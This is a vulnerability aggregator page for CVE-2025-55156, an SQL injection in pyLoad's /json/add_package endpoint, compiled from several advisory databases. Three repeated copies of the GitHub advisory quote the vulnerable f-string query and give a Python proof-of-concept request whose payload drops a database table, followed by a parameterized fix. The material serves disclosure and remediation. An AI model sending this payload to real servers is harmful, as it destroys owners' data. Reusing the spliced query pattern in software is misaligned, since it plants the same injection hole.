CVE-2025-55156
PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter
pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter add_links in API /json/add_package is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.8
PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter
pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter add_links in API /json/add_package is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91.
- Record
CVE-2025-55156- CVSS 4.0
- 7.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-89
- Updated
- 2026-11-02
EUVDEUVD-2025-24185
7.8
pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter add_links in API /json/add_package is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91.
- Record
EUVD-2025-24185- CVSS 4.0
- 7.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-pwh4-6r3m-j2rf
7.8
PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter
Summary
The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.
Details
- Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
- Affected code:
@style.queue
def update_link_info(self, data):
"""
data is list of tuples (name, size, status, url)
"""
self.c.executemany(
"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
data,
)
ids = []
statuses = "','".join(x[3] for x in data)
self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
for r in self.c:
ids.append(int(r[0]))
return ids
statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.
- Vulnerability Chain
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info
PoC
import requests
if __name__ == "__main__":
url = "http://localhost:8000/json/add_package"
data = {
"add_name": "My Downloads1",
"add_dest": "0",
"add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
"add_password": "mypassword"
}
response = requests.post(url, cookies=your_cookies, data=data)
print(response.status_code, response.text)
<img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />
Remediation
def update_link_info(self, data):
"""
data is list of tuples (name, size, status, url)
"""
self.c.executemany(
"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
data,
)
# 提取所有url
urls = [x[3] for x in data]
# 构建参数化查询,避免SQL注入
placeholders = ','.join(['?'] * len(urls))
query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
self.c.execute(query, urls)
ids = [int(row[0]) for row in self.c.fetchall()]
return ids
Impact
Attackers can modify or delete data in the database, causing data errors or loss.
- Record
GHSA-pwh4-6r3m-j2rf- CVSS 4.0
- 7.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-89
- Updated
- 2026-11-02
NVD
7.8
pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter add_links in API /json/add_package is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91.
- Record
CVE-2025-55156- CVSS 4.0
- 7.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-89
- Updated
- 2026-11-02
OSV
7.8
PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter
pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter add_links in API /json/add_package is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91.
- Record
CVE-2025-55156- CVSS 4.0
- 7.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-89
- Updated
- 2026-11-02
OSVGHSA-pwh4-6r3m-j2rf
7.8
PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter
Summary
The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.
Details
- Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
- Affected code:
@style.queue
def update_link_info(self, data):
"""
data is list of tuples (name, size, status, url)
"""
self.c.executemany(
"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
data,
)
ids = []
statuses = "','".join(x[3] for x in data)
self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
for r in self.c:
ids.append(int(r[0]))
return ids
statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.
- Vulnerability Chain
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info
PoC
import requests
if __name__ == "__main__":
url = "http://localhost:8000/json/add_package"
data = {
"add_name": "My Downloads1",
"add_dest": "0",
"add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
"add_password": "mypassword"
}
response = requests.post(url, cookies=your_cookies, data=data)
print(response.status_code, response.text)
<img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />
Remediation
def update_link_info(self, data):
"""
data is list of tuples (name, size, status, url)
"""
self.c.executemany(
"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
data,
)
# 提取所有url
urls = [x[3] for x in data]
# 构建参数化查询,避免SQL注入
placeholders = ','.join(['?'] * len(urls))
query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
self.c.execute(query, urls)
ids = [int(row[0]) for row in self.c.fetchall()]
return ids
Impact
Attackers can modify or delete data in the database, causing data errors or loss.
- Record
GHSA-pwh4-6r3m-j2rf- CVSS 4.0
- 7.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-89
- Updated
- 2026-11-02
OSVPYSEC-2026-1821
7.8
PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter
Summary
The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.
Details
- Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
- Affected code:
@style.queue
def update_link_info(self, data):
"""
data is list of tuples (name, size, status, url)
"""
self.c.executemany(
"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
data,
)
ids = []
statuses = "','".join(x[3] for x in data)
self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
for r in self.c:
ids.append(int(r[0]))
return ids
statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.
- Vulnerability Chain
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info
PoC
import requests
if __name__ == "__main__":
url = "http://localhost:8000/json/add_package"
data = {
"add_name": "My Downloads1",
"add_dest": "0",
"add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
"add_password": "mypassword"
}
response = requests.post(url, cookies=your_cookies, data=data)
print(response.status_code, response.text)
<img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />
Remediation
def update_link_info(self, data):
"""
data is list of tuples (name, size, status, url)
"""
self.c.executemany(
"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
data,
)
# 提取所有url
urls = [x[3] for x in data]
# 构建参数化查询,避免SQL注入
placeholders = ','.join(['?'] * len(urls))
query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
self.c.execute(query, urls)
ids = [int(row[0]) for row in self.c.fetchall()]
return ids
Impact
Attackers can modify or delete data in the database, causing data errors or loss.
- Record
PYSEC-2026-1821- CVSS 4.0
- 7.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pyload-ngPyPI |
before 0.5.0b3.dev91 | 0.5.0b3.dev91 |
pyload-ngPyPI |
before 0.5.0b3.dev91, plus listed versions 0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537 Show 45 moreShow less0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34 |
0.5.0b3.dev91 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-55156 is a high vulnerability (CVSS 7.8) in Pyload, published August 11, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.36%, the 30th percentile. Fixed in pyload-ng 0.5.0b3.dev91.
References
github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rf
github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258f
github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py
nvd.nist.gov/vuln/detail/CVE-2025-55156
github.com/advisories/GHSA-pwh4-6r3m-j2rf
github.com/CVEProject/cvelistV5/tree/main/cves/2025/55xxx/CVE-2025-55156.json
github.com/pyload/pyload
pypi.org/project/pyload-ng
Left out here: 45 versions. The JSON record has them.